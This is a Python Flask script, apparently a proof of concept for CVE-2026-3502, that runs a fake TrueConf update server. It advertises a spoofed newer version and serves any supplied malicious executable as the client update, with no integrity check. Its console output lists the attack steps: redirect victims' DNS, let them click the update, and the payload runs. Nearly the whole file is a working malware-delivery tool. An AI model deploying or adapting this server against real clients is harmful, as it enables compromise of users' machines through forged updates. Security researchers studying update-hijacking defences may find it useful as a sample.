#!/usr/bin/env python3 """ CVE-2026-3502 - Fake Update Server Simula un servidor TrueConf comprometido que sirve actualizaciones maliciosas """ from flask import Flask, send_file, request, Response import argparse import os import json from colorama import init, Fore, Style init(autoreset=True) app = Flask(__name__) # Configuración global MALICIOUS_UPDATE_PATH = None SERVER_VERSION = "8.5.2" LEGITIMATE_VERSION = "8.5.1" @app.route('/downlods/trueconf_client.exe') def serve_malicious_update(): """Sirve la actualización maliciosa""" if MALICIOUS_UPDATE_PATH and os.path.exists(MALICIOUS_UPDATE_PATH): print(f"{Fore.RED}[!] Serving malicious update to {request.remote_addr}{Style.RESET_ALL}") # Simular ausencia de verificación de integridad response = send_file( MALICIOUS_UPDATE_PATH, as_attachment=True, download_name='trueconf_client.exe' ) # No incluir ETag o hash (vulnerabilidad) # response.headers['ETag'] = None return response else: print(f"{Fore.RED}[-] Malicious update not found{Style.RESET_ALL}") return "Update not available", 404 @app.route('/config') def get_config(): """Devuelve configuración del servidor con versión falsa""" config = { "version": SERVER_VERSION, "update_available": True, "client_version": LEGITIMATE_VERSION, "update_url": "/downlods/trueconf_client.exe" } return Response(json.dumps(config), mimetype='application/json') @app.route('/version.js') def get_version(): """Devuelve versión para el cliente""" js_code = f'var build = "{SERVER_VERSION}";\nvar version = "{SERVER_VERSION}";' return Response(js_code, mimetype='application/javascript') @app.route('/') def index(): """Página principal""" return """ TrueConf Server (Compromised)

TrueConf Server

Version: {}

Status: COMPROMISED - Serving malicious updates

""".format(SERVER_VERSION) def main(): parser = argparse.ArgumentParser(description='CVE-2026-3502 - Fake TrueConf Server') parser.add_argument('--update', required=True, help='Path to malicious update EXE') parser.add_argument('--port', type=int, default=443, help='Server port') parser.add_argument('--server-version', default='8.5.2', help='Fake server version') parser.add_argument('--client-version', default='8.5.1', help='Legitimate client version') args = parser.parse_args() global MALICIOUS_UPDATE_PATH, SERVER_VERSION, LEGITIMATE_VERSION MALICIOUS_UPDATE_PATH = args.update SERVER_VERSION = args.server_version LEGITIMATE_VERSION = args.client_version print(f"{Fore.RED}╔════════════════════════════════════════════════════════════╗{Style.RESET_ALL}") print(f"{Fore.RED}║ CVE-2026-3502 - Fake TrueConf Update Server ║{Style.RESET_ALL}") print(f"{Fore.RED}║ Serving malicious updates to vulnerable clients ║{Style.RESET_ALL}") print(f"{Fore.RED}╚════════════════════════════════════════════════════════════╝{Style.RESET_ALL}") print(f"\n{Fore.CYAN}[*] Server configuration:{Style.RESET_ALL}") print(f" Malicious update: {MALICIOUS_UPDATE_PATH}") print(f" Server version: {SERVER_VERSION}") print(f" Client version (legit): {LEGITIMATE_VERSION}") print(f" Port: {args.port}") print(f"\n{Fore.YELLOW}[!] Attack simulation:{Style.RESET_ALL}") print(f" 1. Configure victims' DNS to point to this server") print(f" 2. Victims will see update notification") print(f" 3. Clicking update downloads and executes malicious payload") print(f"\n{Fore.GREEN}[+] Starting malicious server on port {args.port}...{Style.RESET_ALL}") # Ejecutar servidor (sin SSL por simplicidad) app.run(host='0.0.0.0', port=args.port, debug=False) if __name__ == "__main__": main()